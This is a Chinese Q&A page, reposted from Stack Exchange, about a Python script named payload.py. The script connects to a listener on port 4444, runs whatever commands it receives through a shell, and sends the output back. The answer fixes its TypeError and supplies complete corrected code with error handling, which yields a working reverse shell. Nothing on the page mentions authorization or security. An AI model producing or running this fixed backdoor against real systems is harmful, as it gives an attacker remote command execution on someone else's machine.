Python远程命令执行程序报错:TypeError: 'socket'对象不可迭代
远程命令执行Python脚本报错解决
问题概述
编写了一个通过Socket执行远程系统命令的Python脚本,在终端输入待执行命令时触发错误。
原代码
import socket import subprocess payload = socket.socket(socket.AF_INET,socket.SOCK_STREAM) payload.connect(("localhost",4444)) print("Successfully, Connected..!!") while True: cmd = payload.recv(2048) if cmd == 'exit': payload.close() break cmd = cmd.decode('utf-8') output = subprocess.check_output(payload, shell=True) payload.send(output)
报错信息
Traceback (most recent call last): File "C:\Users\Wasii\Desktop\python-payload\payload.py", line 13, in <module> output = subprocess.check_output(payload, shell=True) File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 420, in check_output return run(*popenargs, stdout=PIPE, timeout=timeout, check=True, File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 966, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 1375, in _execute_child args = list2cmdline(args) File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 561, in list2cmdline for arg in map(os.fsdecode, seq): TypeError: 'socket' object is not iterable
错误原因
核心错误是subprocess.check_output()的参数传错了——你把socket对象payload传给了这个方法,但它需要的是要执行的命令字符串,也就是从socket接收并解码后的cmd变量。
另外还有两个隐性问题:
- 接收的
cmd是字节流,直接和字符串'exit'比较永远不成立,需要先解码再判断 - 命令执行出错时
check_output会抛出异常,导致脚本直接崩溃,没有容错处理
修复后的代码
import socket import subprocess from subprocess import CalledProcessError payload = socket.socket(socket.AF_INET, socket.SOCK_STREAM) payload.connect(("localhost", 4444)) print("Successfully, Connected..!!") while True: cmd_bytes = payload.recv(2048) if not cmd_bytes: # 连接断开时退出循环 break cmd = cmd_bytes.decode('utf-8').strip() # 去除命令中的多余换行/空格 if cmd == 'exit': payload.close() break try: # 传入正确的命令字符串cmd,同时捕获错误输出 output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) except CalledProcessError as e: # 命令执行失败时返回错误输出 output = e.output except Exception as e: # 其他异常转为字节流返回 output = str(e).encode('utf-8') payload.send(output)
关键修正点
- 将
subprocess.check_output()的参数改为解码后的命令字符串cmd - 调整
exit判断逻辑,先解码再比较,同时清理命令中的空白字符 - 添加异常捕获,处理命令执行失败的情况,避免脚本崩溃
- 将错误输出也包含到返回结果中,方便排查问题
内容的提问来源于stack exchange,提问作者Momna
相关产品推荐
相关产品推荐

